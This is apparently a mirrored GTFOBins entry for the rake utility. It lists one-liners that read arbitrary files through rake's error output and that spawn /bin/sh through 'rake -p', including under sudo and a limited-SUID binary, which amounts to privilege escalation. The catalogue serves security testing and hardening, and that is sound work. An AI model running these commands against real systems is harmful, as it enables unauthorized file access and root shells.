1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/rake.md
LinuxSploit 0b196471f8
Add rake file-read
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2021-07-17 08:42:47 +02:00

15 lines
352 B
Markdown

---
functions:
file-read:
- description: The file is actually parsed and the first wrong line is returned in an error message.
code: |
LFILE=file-to-read
rake -f $LFILE
shell:
- code: rake -p '`/bin/sh 1>&0`'
sudo:
- code: sudo rake -p '`/bin/sh 1>&0`'
limited-suid:
- code: ./rake -p '`/bin/sh 1>&0`'
---